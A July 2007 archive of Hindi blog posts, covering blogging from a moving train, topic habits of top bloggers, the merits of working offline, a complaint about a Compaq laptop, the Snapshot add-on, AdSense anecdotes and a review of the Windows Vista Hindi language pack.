July 2007




पिछले दिनों हिन्दी चिट्ठाजगत् में एक अनावश्यक सा विवाद हो गया था कि विश्व का हिन्दी का पहला ब्लॉ ब्लॉ ब्लॉ कौन.

चलिए, एक और विवाद को मैं आगे बढ़ाता हूं.

मेरी यह पोस्ट चलती रेलगाड़ी से की गई विश्व का पहला हिन्दी चिट्ठा पोस्ट है.

मुझे लगता है कि रेल के उच्च अधिकारी ज्ञानेंद्र जी, जिन्हें विशिष्ट सेलून की सुविधा उपलब्ध है, उन्होंने भी अब तक चलती गाड़ी से कोई पोस्ट नहीं किया होगा. और अगर किया हो तो निःसंकोच आगे आएं और बताएं.

उड़ते वायुयान से तो हमारे कई हिन्दी चिट्ठाकार बंधुओं ने कमाल दिखाए हैं – परंतु उनमें भी विवाद है. हमें अब तक ये ही नहीं पता कि उनमें से पहला कौन है! किसी ने क्लेम ही नहीं किया है!

तो, इससे पहले कि कोई और क्लेम करे, मैंने यह क्लेम कर दिया. विश्व का पहला हिन्दी चिट्ठा जो तेज रफ़्तार से चलती रेलगाड़ी में लिखा गया और धीमी चलती रेलगाड़ी से पोस्ट किया गया (इंटरनेट कनेक्टिविटी के लिए आसपास स्टेशन/शहर होना जरूरी है).

वैसे यह कोई तीर मारने वाली बात नहीं है – किसी भी लॅपटॉप में आरकनेक्ट की सुविधा मोबाइल या डाटाकार्ड के जरिये (अब टाटा इंडिकॉम में भी तथा अन्य जीपीआरएस युक्त मोबाइल सेवाओं में भी यह उपलब्ध है) हो तो यह आसान है. मगर, फिर, है तो यह पहला तीर ही!

अब आप मुझसे सबूत मांगेंगे. तो सबूत के तौर पर ट्रेन में विविध वस्तुओं को बेचते हुए विक्रेता की तस्वीर देख सकते हैं. इस फेरीवाले से मैंने फोटो के लिए पूछा तो वह खुशी खुशी राजी तो हो गया, परंतु थोड़ा सा घबरा भी रहा था. आप यहाँ यह कह सकते हैं कि फोटू तो कभी भी लेकर लगाया जा सकता है तो भई, पुख्ता सबूत के लिए ट्रेन का टिकट, की गई यात्रा का विवरण, और उसका समय (कंट्रोलर से ज्ञान जी पक्का कर देंगे) तथा ब्लॉगर का टाइम स्टैम्प सबकुछ हाजिर किया जा सकता है.

तो अब तो आप मानेंगे न इसे – चलती ट्रेन से हिन्दी का पहला चिट्ठा पोस्ट!

अद्यतन - चित्र अंधकारमय हो गया था. उसे समझने लायक थोड़ी रौशनी बढ़ाई है.

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(डिजिटल इंसपायरेशन में अमित अग्रवाल ने पेज-व्यू के बारे में लिखा)

(प्रोब्लॉगर में डेरेन रॉस ने पेज-व्यू के बारे में लिखा)

क्या आपको पता है कि विश्व के शीर्ष क्रम के चिट्ठाकार क्या और कैसे लिखते हैं? मेरा मतलब है कि वे अपना विषय कैसे चुनते हैं? कैसे वे सोचते हैं कि कौन सा विषय उनके पाठकों को सर्वाधिक आकर्षित करेगा? खासकर तब, जब वे नियमित, एकाधिक पोस्ट लिखते हैं.

मैं पिछले कुछ दिनों से विश्व के कुछ शीर्ष क्रम के ब्लॉगरों (अंग्रेज़ी के) के चिट्ठों को खास इसी मकसद से ध्यानपूर्वक देखता आ रहा हूँ, और मुझे कुछ मजेदार बातें पता चली हैं जिन्हें मैं आपके साथ साझा करना चाहता हूँ.

बड़े - बड़ों की कहानियाँ हथिया लें.

इस बात की पूरी संभावना होती है कि शीर्ष क्रम के सारे के सारे चिट्ठाकार बड़ी कहानियों और बड़े समाचारों के बारे में चिट्ठा पोस्ट लिखें. बड़े समाचार को कोई भी शीर्ष क्रम का चिट्ठाकार छोड़ना नहीं चाहता. अब चाहे इससे पहले सैकड़ों लोगों ने उस विषय पर चिट्ठा लिख मारे हों, मगर फिर भी बड़े चिट्ठाकार उस विषय पर लिखते हैं कुछ अलग एंगल और अलग तरीके से पेश करते हुए – हालाकि वे कोई नई बात नहीं बताते होते. अतः यदि आप इन शीर्ष क्रम के चिट्ठाकारों को पढ़ रहे होते हैं तो इस बात की पूरी संभावना है कि आप किसी कहानी को कई कई मर्तबा दोहराते हुए पढ़ें. ये रहे कुछ उदाहरण -

आधिकारिक एडसेंस ब्लॉग ने एडसेंस की एक सर्वथा नई विशेषता गोलाई दार कोने के बारे में जब लिखा, जो कि कोई बड़ी कहानी वैसे भी नहीं थी – वह मौजूदा सेवा में मात्र एक नई अतिरिक्त, बहुत छोटी सी विशेषता को जोड़ा गया था – तो शीर्ष क्रम के चिट्ठाकारों ने इस समाचार को पकड़ लिया. डेरेन रॉस ने इस पर लिखा, अमित अग्रवाल ने इस पर लिखा और क्विक ऑनलाइन टिप्स पर भी इस बारे में चिट्ठा पोस्ट लिखा गया!

इसी तरह, एक कहानी आई थी पेज व्यू के ऊपर – कि कैसे अब पेज रैंकिंग के लिये ‘पेज लोड संख्या’ इतिहास की वस्तु बनती जा रही है और वास्तविक पेज व्यू समय (रचनाकार के लिए खुशखबरी है यह – उसके लंबे, उबाऊ उपन्यासों को सिर खपा कर पढ़ने का समय अब इसकी प्रसिद्धि में वृद्धि करेगा न कि इसकी गिनती के दो-चार पेज हिट्स) अब महत्वपूर्ण होगा. इस समाचार के बारे में– डेरेन रॉस ने लिखा, अमित अग्रवाल ने भी लिखा और, माशाबल में भी यह प्रकट हुआ.

कुछ समय पूर्व जब एडसेंस प्रकाशकों की कमाई विश्वस्तर पर गिरी थी तो अमित ने इस बारे में लिखा था और उनका साथ दिया था रॉस ने अपने चिट्ठे में, इसी बात को बताते हुए. और जब एडसेंस रेफरल 2 आधिकारिक रूप से जारी हुआ तो डेरेन रॉस ने इस पर लिखा था तो क्विक ऑनलाइन टिप्स ने भी इसी समाचार पर अपनी ब्लॉग प्रविष्टि दी थी.

इस कहानी से शिक्षा

अगर आप शीर्ष स्तर के चिट्ठाकार बनना चाहते हैं तो बड़े समाचारों को तत्काल पकड़ लें. उस पर लिख मारें. भले ही जब से समाचार ब्रेक हुआ है, दर्जनों अन्य लोगों ने पहले भी लिख रखा हो, आप अपनी शैली व भाषा में अलग एंगल से लिख मारें. और जब आप किसी दिन शीर्ष क्रम के चिट्ठाकार बन जाते हैं तो फिर यदा कदा कोई कचरा पोस्ट – जैसे कि यह भी लिख सकते हैं :)

वैसे, हिन्दी चिट्ठाकारों के लिए तो मसालों की कतई कमी नहीं है और विषय के दोहराव की संभावना भी बहुत कम है – क्योंकि सक्रिय चिट्ठों की संख्या ही बहुत कम है. मैंने भी कुछ पोस्टें ( 1 2 3 4 5 6 ) अंग्रेजी के इन शीर्ष चिट्ठाकारों के सुर में सुर मिलाने की कोशिशों में की है, और आप इस कोशिश को शीर्ष की ओर की नाकाम चूहा दौड़ मान सकते हैं :)

(मूल अंग्रेजी आलेख यहाँ पढ़ें)

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पिछले दिनों मुझे श्रीशजी ने गूगल पर ऑनलाइन पकड़ लिया, और आश्चर्य चकित होते हुए कहा – कि वे मुझे पहली मर्तबा ऑनलाइन देख रहे हैं. उस दिन मेरे पास दूसरा कोई विकल्प नहीं था – मैं अपने प्रीपेड मोबाइल फोन के जरिए रिलायंस आरकनेक्ट पर था और प्रतिमिनट कोई डेढ़ रुपए जेब से जा रहे थे. मैं पहले ही कोई घंटाभर विचर चुका था अतः मैंने श्रीश से माफ़ी मांगते हुए कट लिया था.

आमतौर पर मैं ऑफलाइन काम करता हूँ. यह आदत तब से बनी हुई है जब इंटरनेट बेहद महंगा होता था. प्रतिमिनट इंटरनेट यूसेज चार्ज के साथ साथ टेलिफोन पल्स चार्ज का भी भुगतान करना होता था. तब दिन भर के सारे काम को एकत्र कर, सहेज कर, ई-मेल क्लाइंट पर ई-पत्रों के जवाब या फिर नए ई-पत्र लिख कर सहेज लेता था और फिर उन्हें दूसरे दिन सुबह पंद्रह मिनट या फिर बहुत हुआ तो आधा घंटा इंटरनेट पर कनेक्ट होकर सारा काम निपटा दिया करता था. सारे ईमेल, यहाँ तक कि याहू! के भी ईमेल याहू पॉप के जरिए ईमेल क्लाएंट जैसे आउटलुक पर डाउनलोड कर लेता था और फिर उनके जवाब लिख कर अगले दिन जब इंटरनेट पर कनेक्ट होता था तब भेजता था.

आमतौर पर कुछ मामलों में यह आदत अब भी बनी हुई है. हालाकि अब मिनट के हिसाब से पैसा नहीं देना पड़ता. गूगल, याहू इत्यादि के ईमेल अभी भी मैं ईमेल क्लाएंट – थंडरबर्ड के जरिए पढ़ता व भेजता हूं. यही हाल नारद या चिट्ठाजगत से चिट्ठों के पढ़ने का है – मैं इन्हें ऑपेरा ब्राउजर के अंतर्निर्मित आरएसएस रीडर में पढ़ना पसंद करता हूं.

ऑफ़लाइन रहने के अपने फ़ायदे हैं. आइए इनमें से खास #10 पर त्वरित नजर डालते हैं –

#1 आपकी ऑनलाइन स्थिति आपके इंटरनेटी दोस्तों को दिखती है तो वे आपसे बात करने को कुलबुलाते हैं. भले ही आप अत्यंत व्यस्त वाली स्थिति को सेट कर रखे होते हैं, सामने वाला अत्यंत जरूरी संदेश आपको भेज ही देता है और आप उस अत्यंत जरूरी संदेश को - भले ही वो एक सड़ा हुआ, पहले भी दसियों मर्तबा सुना हुआ चुटकुला होगा – पढ़ने व पढ़कर उसका प्रत्युत्तर ‘बढ़िया है – हा हा हा...’ लिखकर देने को अभिशप्त होते हैं. और, कभी निन्दारस जैसा कुछ आख्यान चल निकलता है तो फिर आप चैट पर उसी में रम जाते हैं और आपकी चिट्ठा पोस्ट की या बाजार से सब्जी लाने की उस दिन की प्लानिंग धरी रह जाती है.

#2 ऑनलाइन बने रहने में सबसे बड़ी समस्या यह होती है कि आपके विचार को सामने वाले तक पहुँचने में एक सेकण्ड से भी कम समय लगता है. पिछले दिनों हिन्दी चिट्ठा संसार में जो विवाद हुए, उसका मूल जड़ भी संभवतः यही है. यदि आप मेरी तरह ऑफ़लाइनजीवी होते तो कोई भी उकसाऊ भड़काऊ प्रविष्टि पढ़ते, उसका उतना ही उकसाऊ भड़काऊ त्वरित जवाब सोचते, और लिख भी मारते, परंतु अगले दिन भेजते भेजते आपके विचार ठंडे पड़ जाते और आप खुद शर्मसार होकर सोचते, अरे मैं ये क्या कह रहा था. और आपकी उंगलियाँ उस ईमेल संदेश या चिट्ठा प्रविष्टि को आपके कम्प्यूटर के कचरा पेटी में शर्तिया फेंक आतीं. यानी, भले ही आप न हों, मगर लोगों को कूल और कॉम दिखाई देते रहने के लिए ऑफलाइनजीवी बने रहना फ़ायदेमंद होता है.

#3 आप ऑनलाइन रहते हैं तो आपका कम्यूटर आपको अति व्यस्त कर देता है. हर दस मिनट में आपके ईमेल का पॉपअप सूचित करता है कि आपके आवक-बक्से में एक ईमेल गिरा है. आप उसे देखने को लालायित होते हैं कि किस दोस्त का है, और यदि आप चिट्ठा लेखक हैं तो पढ़ने को लालायित होते हैं कि किस पाठक की प्रशंसा या मलामत युक्त टिप्पणी है. फिर आपकी उंगलियां खुद ब खुद प्रत्युत्तर देने को उठ आती हैं. और यह अंतहीन सिलसिला चलता रहता है. बात यहीं तक नहीं है – आपके कम्प्यूटर के सैकड़ों प्रोग्राम भी ऑनलाइन होते हैं तब और कभी आपका एंटीवायरस प्रोग्राम दन्न से आपके ऊपर पॉपअप फेंक कर यह सूचित करता है कि या तो उसने स्वयंमेव अपना वायरस डाटाबेस अद्यतन कर लिया है या इस हेतु वो आपकी आज्ञा चाहता है. आप कोई बढ़िया चिट्ठा पोस्ट आइडिया सोच रहे होते हैं और आपकी सोच में इस तरह के अप्रत्याशित व्यवधान आते रहते हैं- क्योंकि एंटीवायरस प्रोग्राम के बाद विंडोज अद्यतन का नंबर आता है या फिर किसी अन्य प्रोग्राम जैसे कि फ़ॉयरफ़ॉक्स एक्सटेंशन के नए संस्करण की संस्थापना का... यानी कि यदि आप सचमुच का कुछ विचार शील काम करने को सोचना चाहते हैं तो ऑफलाइन बने रहने में ही भलाई है.

#4 जब आप ऑन लाइन होते हैं तब या तो एडसेंस खाते या फिर नारद – ब्लॉगवाणी – चिट्ठाजगत के पृष्ठों को रीफ्रेश करते रहते हैं – यह देखने के लिए कि इस घंटे कितनी कमाई हो गई या किस चिट्ठाकार ने ताज़ा ताज़ा, अभी अभी नए ढंग से नारद को कोसा है. आपके पेज रीफ्रेश यहीं तक सीमित नहीं होते. आपकी रुचि के अनुसार ये दर्जनों की संख्या में, जैसे कि स्लैशडॉट भी हो सकते हैं और डिग भी. और आपके इन पेज रीफ्रेशों से न तो आपकी कमाई बढ़ती है न पोस्टों की संख्या.

#5 जब आप ऑनलाइन होते हैं तो आपका माउस आलतू फ़ालतू जगह पर क्लिक होने को मचलता है. किसी आख्यान में यदि दस कड़ियाँ होंगी तो शर्तिया आपका माउस क्लिक पंद्रह बीस कड़ियों पर क्लिक होगा – क्योंकि उन कड़ियों पर जाने के बाद आपको और अन्य महत्वपूर्ण, अनदेखा नहीं की जा सकने वाली कड़ियाँ दिखाई दे जाती हैं. इस तरह आपके छोटे से दिमाग में तमाम तरह की जंक सामग्री भरते जाती है. जब आप ऑफलाइन होते हैं तो यह संभावना नगण्य होती है. और फिर यदि कोई कड़ी महत्वपूर्ण लगती है तो उसे आप नोट कर रखते हैं – अगले ऑनलाइन स्थिति में जाकर देखने के लिए – तब तक आप या तो वह महत्वपूर्ण नहीं रह जाता या फिर आप उस अमहत्वपूर्ण कड़ी को भूल चुके होते हैं. अपने दिमाग को साफ सुथरा रखने के लिए ऑफलाइन स्थिति एक बेहतर विकल्प है.

#6 आपके जेब के लिए ऑफलाइन स्थिति स्वास्थ्यकारी है. जब आप ऑनलाइन होते हैं तो किसी चिट्ठापोस्ट की यूट्यूब की कड़ी आपको वो वाला वीडियो देखने को ललचाती है. आप वो वीडियो, चलो जरूरी मानकर देख लेते हैं – मगर फिर आगे शातिर यूट्यूब आपके सामने संदर्भित वीडियो की कड़ियों की भरमार कर देता है – आप उनमें से कोई दो-चार या तो देख मारते हैं या फिर बाद में देखने के लिए बुकमार्क कर ही लेते हैं. यही हाल एमपी3 गानों, पॉडकास्ट और इंटरनेट रेडियो का भी है. तो, जब तक आप अनलिमिटेड खाते में नहीं हैं या आपके इंटरनेट खर्चे (यूट्यूब दर्शन पढ़ें) को कोई दूसरा नहीं भर रहा है – ऑफलाइन से बढ़िया विकल्प नहीं.

#7 ऑफलाइन स्थिति एक लेखक के तौर पर आपके दिमाग को, आपके लेखन को अनएडल्ट्रेटेड रखती है. यदि आप कुछ लिखना चाहते हैं तो आपको उस पर सोचना होता है, सोच समझ कर, आंकड़े एकत्र कर काम करना होता है. अन्यथा आप स्वचालित रूप से गूगल सर्च कर ही मारते हैं और जो अचरा-कचरा सामग्री उपलब्ध होती है उसे शाश्वत सत्य मानकर बहुतेरी सामग्री का इस्तेमाल कर लेते हैं.

#8 आपकी ऑफलाइन स्थिति आपके कम्प्यूटर के स्वास्थ्य के लिए फायदेमंद होता है. तब आप वायरस, ट्रोजन इत्यादि के भय से मुक्त होकर एंटीवायरस, फ़ॉयरवाल इत्यादि को असक्षम कर सकते हैं जिससे न सिर्फ आपका कम्प्यूटर उतना तेज चलेगा जितना कि उसे डिजाइन किया गया है, बल्कि वह बिजली भी कम खाएगा. आपके हार्डडिस्क का जीवन बढ़ेगा और यदि आप लॅपटॉप इस्तेमाल करते हैं तो आपकी बैटरी ज्यादा देर तक चलेगी और आपका लॅप जहाँ से कुछ नीचे आमतौर पर चिट्ठाकारों का दिमाग स्थित होता है, कुछ कम तपेगा.

#9 जब आप ऑफलाइन होते हैं तो समर्पित-से होते हैं. ऑफिस में काम के प्रति और घर में बीवी बच्चों (या माता पिता) के प्रति. आपके पास ढेर सारा फालतू समय होता है क्योंकि किसी ईमेल का तत्काल त्वरित जवाब नहीं देना होता, किसी चिट्ठापोस्ट में त्वरित टिप्पणी नहीं देनी होती. लिहाजा आपका कोड आमतौर पर बग फ्री बनता है जिसे आप ध्यानमग्न होकर लिख मारते होते हैं, या घर पर बीवी बच्चों (या माता पिता) की बातें वास्तव में सुन रहे होते हैं – बजाए सिर्फ हां हूं कर सिर हिलाने के और दिमाग किसी ऑनलाइन साइट में लगाने के.

#10 (नंबर 10 रिक्त है – आपके अनुभवों के लिए. हो सकता है आपके अनुभव मेरे से भिन्न हों और हो सकता है आप ऑनलाइन के फायदे गिनाएँ – तो देर किस बात की? लिख मारिए अपने-अपने अनुभव टिप्पणियों में. मुझे पता है आप इसे ऑनलाइन पढ़ रहे हैं. है कि नहीं? )

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कल अमितजी ने मेरे जले पर नमक छिड़क दिया था और फिर बाद में आलोकजी ने तो उस जले पर मिर्च ही बुरक दिया. उन्होंने एच पी यानी हैवलेट्ट पैकर्ड की तकनीकी श्रेष्ठता सिद्ध करने की खुद की डींग मारने वाली बात बताई तो न सिर्फ मेरा हालिया घाव हरा हो गया, बल्कि दर्द भी केंसर नुमा असहनीय हो गया.

चलिए, विस्तार से बताता हूँ कि आखिर हुआ क्या था.

मुझे एक लॅपटॉप की आवश्यकता फिर से महसूस हुई तो (मेरा पुराना कॉम्पेक लॅपटॉप – 33 मे.हर्त्ज, पेंटियम 386, 250 मेबा हार्ड डिस्क, 8 मेबा रैम, विंडोज 95, उस वक्त का सबसे उन्नत सिस्टम – आठ साल की अनवरत, बढ़िया सेवा देने के पश्चात् कोई दो साल पहले मर खप चुका था, और मेरी मोबिलिटी लगभग नहीं के बराबर ही थी इसीलिए आवश्यकता महसूस नहीं हो रही थी, परंतु अनूपजी से बातचीत के दौरान यह पता चला कि मोबिलिटी तो घर के भीतर भी हो सकती है - बेडरूम ड्राइंग रूम, छत आंगन - कहीं भी...) मैंने तमाम जगहों पर जानकारियों, स्पेसिफिकेशन व कीमतों को छान मारा. कई कई मर्तबा शूट आउट देखे, घंटों कंपेरिजन चार्ट देखे, दर्जनों बेस्ट बाई ऑफर देखे, बिल्ड योर लॅपटॉप साइट पर जाकर कोई दो दर्जन मर्तबा अपना खुद का नया लॅपटॉप बनाया और फिर कोई महीने भर के प्रयासों के बाद अंततः कॉम्पेक प्रेसारियो वी3225एयू को खरीदने का मन बनाया. यह काफी कुछ उन्नत किस्म का तो था ही, मेरी जेब पर भी भारी नहीं पड़ रहा था. डिजिट पत्रिका में 'संपादकीय बेस्ट बाय' का खिताब भी इसे इसकी श्रेणी में मिला हुआ था.

अब जरा कॉम्पेक प्रेसारियो वी3225एयू के मुख्य तकनीकी स्पेसिफ़िकेशन पर नजर डालें –

प्रोसेसर – एएमडी ट्यूरियॉन 64 एम के-36, 2.0 GHz

ओ.एस – विंडोज विस्ता होम बेसिक

चिपसेट, मेमोरी, ---- पता नहीं क्या क्या, पर, बढ़िया.

यहां मुख्य दो स्पेसिफिकेशन बताने का उद्देश्य यह है कि एचपी ने मुझे कहाँ घायल किया, कहां मारा.

जैसा कि आपने ऊपर पढ़ा, इस लॅपटॉप में प्रोसेसर एएमडी का, 64 बिट तकनॉलाजी का उन्नत, मोबाइल प्रोसेसर लगा हुआ है. इसकी खूबी का पूरा इस्तेमाल 64 बिट ओएस व अनुप्रयोगों के जरिए ही हो सकता है. तो जब मैंने यह लॅपटॉप खरीद लिया तो पहला जोरदार बारूदी झटका यही लगा. लॅपटॉप का हार्डवेयर तो 64 बिट तकनॉलाजी का है, मगर ऑपरेटिंग सिस्टम 32 बिट तकनॉलाजी का भर दिया गया है. इसमें विंडोज विस्ता होम बेसिक 32 बिट का पूर्व संस्थापित आया हुआ है. और, एचपी के इस तकनीकी बैकवर्डनेस की तो मैंने कल्पना ही नहीं की थी!

यानी बाहरी आवरण दिखावे के लिए तो महल नुमा है, परंतु अंदर माल झोपड़ पट्टी का भर रखा है है.

आगे अभी और भी झटके खाने थे मुझे. इस लॅपटॉप के साथ वैसे तो जेनुइन विंडोज विस्ता होम बेसिक आया हुआ है, परंतु कोई इंस्टालेशन मीडिया नहीं है. इंस्ट्रक्शन मैनुअल में लिखा है कि सबसे पहले रिकवरी मैनेजर प्रोग्राम के जरिए इंस्टालेशन मीडिया - रीस्टोर बैकअप डीवीडी बना लें. बैकअप डीवीडी बनाने के अब तक के मेरे तीन प्रयास असफल रहे हैं.

इसके बाद कॉम्पेक ऑनलाइन पंजीकरण संवाद बक्से ने जीना हराम कर दिया. हर दस मिनट में यह नामालूम कहाँ से प्रकट हो जाता था. पाँच बार पंजीकृत होने के बाद भी यह फिर से प्रकट हो जाता, डेस्कटॉप पर जमा रहता और टास्क मैनेजर के जरिए ही भागता. इससे मुक्ति पाने के लिए इसके एक्जीक्यूटेबल फ़ाइल को ढूंढ कर ठिकाने लगाने में बड़ा वक्त जाया हो गया.

तो आपको नहीं लगता कि एचपी ने अपनी तकनीकी अश्रेष्ठता दिखाने के लिए एक बम मुझ पर फोड़ा है? आई एम फ़ीलिंग चीटेड. रीयली चीटेड. व्हाट डू यू से?

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ये स्नैपशॉट क्या है – ये स्नैपशॉट?

अभी मैं एक कुत्ते की पांय पांय पढ़ रहा था. तो मेरा माउस जहाँ कहीं भी इधर उधर विचरता, तहाँ तहाँ पांय पांय करने लगता.

कारण?

कारण था एक एड ऑन – जिसका नाम है – स्नैपशॉट.

मैं खिसियाया हुआ सा टिप्पणी में भौंकने वाला ही था कि – अरे! वहां भी मेरे माउस पाइंटर ने क्लिक होने से पहले ही पांय पांय करना शुरू कर दिया.

फिर सोचा कि खालिस टिप्पणी से बात नहीं बनेगी. बात बिलकुल नहीं बनेगी. अभी आगे मुझे दर्जनों और चिट्ठों को पढ़ना है, और जरूरी नहीं है कि सभी मेरी उस भौंकी गई टिप्पणी को पढ़ लें. इसीलिए इस पोस्ट को लिखने का फैसला लिया. मगर, फिर ये भी जरूरी नहीं है लोगबाग इसे भी पढ़ें.

और, पढ़ कर इस पर विचार कर इसे लागू कर लें ये तो और दूर की बात है.

स्नैपशॉट – विचार बढ़िया है, परंतु है यह बहुत ही कष्टकारी, बहुत ही डिस्ट्रैक्टिंग, बेकार, नेटवर्क पर फ़ालतू का बोझा डालने वाला, और (मेरे जैसे) उपयोक्ता के किसी काम का नहीं.

आप टिप्पणी लिखने जाते हैं – तो क्लिक करने से पहले ही यह स्वक्लिक हो जाता है और दन्न से आपके सामने टिप्पणी करने वाले विंडो का स्नैपशॉट दिखाता है. आप सन्न रह जाते हैं और उसे देख कर सोचते हैं मैं उसका क्या करूं?

नीचे टिप्पणियों को पढ़ने स्क्रॉल करते हैं – आपका माउस पाइंटर टिप्पणीकर्ता के नाम के ऊपर सरकते सरकते कईयों के प्रोफ़ाइल दिखाता चलता है जिसे आप या तो किसी सूरत देखना नहीं चाहते या फिर कई-कई मर्तबा जबरदस्ती पहले से ही देख चुके होते हैं.

आप किसी लिंकित चिट्ठे की प्रविष्टियों को ध्यान से पढ़ते रहते होते हैं और आपका पाइंटर धोखे धड़ाके किसी लिंक पर चला जाता है तो सामने दन्न से स्नैपशॉट हाजिर हो जाता है – विंडोज के सदा-सर्वदा फ़ालतू, बेकार के टूल-टिप की तरह. पिल्ले का स्नैपशॉट पिल्ला दिखाता है. आप झुंझलाते हुए माउस पाइंटर को वहाँ से हटाते हैं – दुबारा उधर नहीं जाना माउस पाइंटर के बच्चे!

स्नैपशॉट. किसी चिट्ठे को, मेरे विचार में, डीग्रेड करने का उत्तम उपाय. मगर विरोधाभास ये है कि वादा किया जा रहा है – एनहैंस्ड विद स्नैपशॉट ‘टीएम’.

बहुतेई भौंक लिया भइए. परंतु, आलोचनाओं पर मेरे पिताजी अकसर उदाहरण दिया करते थे - कुत्ते भौंकते हैं, हाथी चलते हैं.

(डिस्क्लेमर लगाना जरूरी नहीं समझा – जैसा कि दीपक भारतदीप जी लगाते रहते हैं – क्योंकि ये सत्य घटना पर आधारित है. ज्ञानदत्त जी से क्षमा याचना सहित, दरअसल पिल्ले के पांय पांय से मेरे माउस पाइंटर के पांय पांय की तुक मिल गई इसीलिए यह चिट्ठा नमूने के तौर पर आ गया नहीं तो ऐसा ही, स्नैपशॉट युक्त कोई भी दूसरा चिट्ठा आ सकता था. वैसे, मेरे चिट्ठों पर लगे ढेरों विज्ञापन पर भी कुछ ऐसा ही, बढ़िया, धांसू लिखा जा सकता है. बस स्नैपशॉट को बदल कर एडसेंस कर दें. मगर, फिर, मैंने उदाहरण दिया ही है – ….हाथी चलते हैं :) )

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चिट्ठाजगत् चिप्पियाँ: स्नैपशॉट , snapshot

सागर जी ने गूगल एडसेंस की मजेदार कहानी सुनाई तो मसिजीवी जी आतंकित से दिखे कि क्या वे अपने चिट्ठे पर एडसेंस दिखाना बंद कर दें?

एडसेंस मिसयूज़ का किस्सा तो एडसेंस के आरंभ से ही चला आ रहा है, हालाकि अब हालात काफी कुछ सुधर गए हैं. मुझे याद आ रहा है सात आठ साल पहले का वाकया जब यहाँ रतलाम में भी किसी नेटवर्क कंपनी ने लोगों को किश्तों में पीसी बांटे थे और उन लोगों को इंटरनेट पर कुछ खास साइटों के विज्ञापनों को क्लिक करते रहने होते थे और बदले में बहुत सा पैसा मिलने का झांसा दिया गया था. उनके पीसी को हर हफ़्ते फ़ॉर्मेट किया जाता था ताकि कुकीज वगैरह से पहचान स्थापित दुबारा नहीं की जा सके. शायद तब आईपी पते से पहचानने की सुविधा नहीं जोड़ी गई रही हो.

इसी बीच, हाल ही में मेरे खाते में एडसेंस रेफ़रल की सुविधा भी मिल गई. यानी कि अब मैं अपने चिट्ठों पर तीन और (हे! भगवान) गूगल विज्ञापन लगा सकता हूँ. एक अतिरिक्त तो मैंने लगा ही दिया है – सबसे नीचे पाद टिप्पणी के रूप में.

मगर फिर भी, यदि आप मेरे चिट्ठों के विज्ञापनों से आतंकित दिखते हैं तो आपको आतंकित होने या अपना बीपी बढ़ाने की आवश्यकता नहीं है. मेरे सभी चिट्ठों की पूरी फ़ीड उपलब्ध है जिसे आप सब्सक्राइब कर या ईमेल के जरिए पढ़ सकते हैं – आमतौर पर बिना विज्ञापनों के.

एडसेंस के क्लिक किस्से की बात करते हुए असली एडसेंसी बात तो रह ही गई. नीचे दिया गया चित्र देखें –

यह चित्र मेरे एक चिट्ठे में विज्ञापन स्वरूप हाल ही में प्रकट हुआ था.

एडसेंस फ़ॉर एडवर्ड्स. गेट टाइम एंड मनी टुडे.

याने कि गूगल के पास आपको समय भी मिलेगा और पैसा भी. पैसा बंटते तो सुना था, परंतु टाइम? बलिहारी गूगल देव की (भजें गूगल आरती 1 , गूगल आरती 2 ) . अब वो समय भी बांट रहा है. पर, अब सवाल है कि वो अच्छा समय बांट रहा है या बुरा. पैसा काला-सफेद होता है. तो लोगों का समय भी काला सफेद हो सकता है. ऐसे में वह काला समय बांट रहा है या सफेद?

गूगल का वह समय किसी को मिला हो तो बताएँ.


हाल ही में विंडोज़ विस्ता का हिन्दी पैक (लिप – लैंग्वेज इन्सटालर पैक) जारी किया गया है. यह एक 2.6 मेबा संस्थापना फ़ाइल है जिसे आप यहाँ से डाउनलोड कर सकते हैं.

हाल ही में मैंने इस पर एक त्वरित नजर डालने की कोशिश की.

यह अपने पूर्ववर्ती – विंडोज एक्सपी के हिन्दी पैक से बेहतर सुविधा वाला है. विंडोज़ एक्सपी पर एक बार हिन्दी भाषा को संस्थापित कर लेने के पश्चात् उसे वापस हटाने में मुश्किलें होती थी और आप वापस अंग्रेज़ी भाषा आसानी से नहीं ला सकते थे.

इस असुविधा को विंडोज विस्ता में दूर किया गया है. आप भाषा का चयन नियंत्रण कक्ष से कर सकते हैं, और भाषा बदलने के लिए बस आपको एक रीबूट की आवश्यकता होगी. अलग-अलग प्रयोक्ता अलग-अलग भाषा रख सकते हैं, और चाहे जितनी भाषा रख सकते हैं. भाषा आसानी से निकाली (अनइंस्टाल) जा सकती है और अक्षम भी की जा सकती है. फिर भी, यह लिनक्स तंत्र की बहुभाषा सुविधा के सामने कुछ भी नहीं है – लिनक्स में आप एक ही कम्प्यूटर पर एकानेक प्रयोक्ता के रूप में एक साथ दसियों भाषाओं के वातावरण में काम कर सकते हैं और एक साथ छः भाषाओं में लॉगिन कर डेस्कटॉप वातावरण पृष्ठभूमि में चालू रख सकते हैं.

विंडोज विस्ता हिन्दी में बहुत सी खामियाँ भी हैं –

  • हिन्दी पैक को 64 बिट आर्कीटेक्चर पर फिलहाल संस्थापित नहीं किया जा सकता
  • इसका हिन्दी का डिफ़ॉल्ट फ़ॉन्ट अत्यंत छोटा है व दिखने में समस्या पैदा करता है. डेस्कटॉप के हर आइटम के लिए फ़ॉन्ट को सेटिंग्स के जरिए 8-9 से बढ़ा कर 10-11 आकार का करना पड़ता है जो कि बहुत ही श्रमसाध्य व बेकार का कार्य है. जैसा कि लिनक्स में होता है, एक ही स्थल पर सभी डेस्कटॉप प्रदर्शन फ़ॉन्ट बड़ा करें जैसी सुविधा होनी चाहिए. क्या इसके डेवलपरों / जाँचकर्ताओं ने इसे नहीं देखा?
  • अनुवाद बहुत ही कम है. यूजर इंटरफ़ेस में तो फिर भी काफी कुछ अनुवाद हो चुका है, परंतु मदद फ़ाइलों का अनुवाद नहीं किया गया है.
  • अनुवाद ठेठ और सीधे अंग्रेजी से हिन्दी में शब्द दर शब्द हैं, और प्रायः समझने में कठिनाइयाँ पैदा करते हैं. आमतौर पर हर पृष्ठ में कुछ न कुछ गलतियाँ मिल ही जाती हैं. कुछ उदाहरण –

एक स्थल पर अनुवाद है – कार्य पर केंद्रित करने के लिए इसे आसान बनाएँ” इससे आप क्या समझेंगे? मैं भी नहीं समझ पाया.

एक अन्य स्थल पर अनुवाद है – इससे सॉर्ट करें. अनुवादक भाई अगर आप इसे, इस विधि से छांटे तो बेहतर होगा.

इसी तरह, विंडोज मीडिया प्लेयर नाऊ प्लेइंग को अब चला रहा है कहता है. कहीं आपको ताज़ा आइटम्स मिलेंगे तो कहीं पर व्यक्तिगत बनाऐं

वैसे, आलोक ने भी विंडोज एक्सपी हिन्दी की अच्छी खासी धुलाई कर रखी है.

